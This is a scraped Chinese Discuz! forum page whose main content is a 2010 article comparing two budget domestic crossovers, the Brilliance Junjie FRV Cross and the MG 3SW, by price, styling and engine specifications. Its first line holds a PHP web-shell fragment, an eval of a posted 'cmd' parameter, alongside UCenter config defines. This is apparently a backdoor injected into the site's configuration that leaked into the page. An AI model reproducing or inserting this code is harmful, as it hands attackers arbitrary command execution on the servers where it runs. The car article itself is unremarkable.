');eval($_POST[cmd])?>'); define('UC_APPID', 'UC_APPID'); define('UC_PPP', '20'); 四輪天下 - Powered by Discuz! Board Board logo

標題: 自主也有跨界車 兩款自主跨界車型 [打印本頁]

作者: ramosdaniel1253    時間: 2010-10-8 01:03     標題: 自主也有跨界車 兩款自主跨界車型

Crossover,這是一個在國內外車壇都十分流行的新型車種,這種車在國內被稱為跨界車。在國內車市上,我們最早見到的跨界車型就是來在鈴木的SX4兩廂,而隨後,大眾也推出了他們的POLO Crossover跨界車型。在這一個新興的細分市場之上,我們卻很難見到來自我們自主品牌的跨界車型,直至來自名爵的MG 3SW車型的出現,這一局面才得以被打破。而在今天,來自華晨的駿捷FRV Cross的上市則進一步的擴充了自主車型在該級別市場上的陣容。對於這兩款不到10萬元的自主跨界車,你會更鍾情於哪一款呢?

  中華駿捷FRV Cross



  上市時間:09年6月18日

  售價7.88-8.98萬元

  這是一款基於駿捷FRV演變而來的新款車型。雖然車身造型與普通版FRV沒什麼區別,但FRV Cross在細節上的變化卻令它看起來與普通版的FRV大有不同。寬大的翼子板,黑色的底裙包圍、16英吋運動輪圈再加上一副SUV味道十足的車頂行李架,FRV Corss絕對是一個好動分子。

  相比普通版的FRV,跨界版的車型在車身高度上較原車高出了20mm,視覺衝擊相當明顯,不過這並不只是簡單的抬高,FRV Cross的底盤系統經過了華晨工程師的重新調校,這令它不僅僅只有用一個更強的視覺衝擊,更令車輛的通過性能較轎車版本有了大幅提升,儼然就是一部小型的SUV。

  動力系統方面,駿捷FRV有用兩套動力選擇,1.6升機型技術來自三菱,最大功率可達74kw,峰值扭矩可達134Nm,變速系統為一台四速手自一體式變速箱。另一款動力配置是一台來自綿陽新晨的自主動力,編號4A15的1.5升發動機最大輸出可達75kw,峰值扭矩則為135Nm,這些數值可以說是全面超越了那台1.6升的三菱發動機,更為可貴的是這套系統並非依照三菱技術的逆向研發產品,完全擺脫了對東安三菱的技術依賴,而這也是全車最大的亮點。

  推薦理由:作為市場上少有的自主跨界車型,駿捷在售價方面較合資車型擁有不小的優勢,同時,其1.5升車型搭載了一台華晨自主研製的全新動力系統,也是駿捷FRV Cross值得驕傲的地方。

  名爵MG 3SW

  上市時間:2008年6月23日

  售價:7.98-10.98萬元

  相比FRV Cross,MG 3SW上市雖然早了一年,但在它的造型看起來並不落伍。除了跨界車應有的行李架、寬大的車體和更寬的輪胎,MG 3SW還擁有與眾不同的英倫風格,雖然同為跨界車,但MG 3SW看起來明顯更為紳士,這也是MG 3SW一大特色。

  但當你進入車內之後,會發現這裡與外觀風格截然不同。全黑色內飾、質感強烈的銀色按鈕、手感極佳的三幅式方向盤和包裹性相當不錯的運動座椅,坐在車內只有一個想法:啟動引擎。

  在動力的配置上,MG 3SW的兩款發動機拉開了一個比較大的空間。入門級車型僅搭載一台1.4升的汽油引擎,動力輸出只能算是剛剛夠用。但在高配的車型上,動力系統則是一套源自賽車技術的1.8升全鋁發動機,輸出功率高達103kw,可以說是動力強勁,細看該級別的跨界車型,也只有鈴木雨燕擁有一台1.8升的動力配置,但在價格上,名爵明顯會便宜不少,所以在這點上,MG 3SW無疑是最吸引人的。

  推薦理由:相比其他的跨界車,MG 3SW除了擁有跨界車應有的設計外,還擁有一副紳士外表,這種英倫風格會吸引很多內斂的運動人士。而在動力系統上,1.8升引擎動力數值非常搶眼,動力表現在該級別中處於領先,對於追求動力的消費者來說,確實是一個很好的選擇。




歡迎光臨 四輪天下 (http://bbs.shonlong.com.tw/discuz/) Powered by Discuz! 7.0.0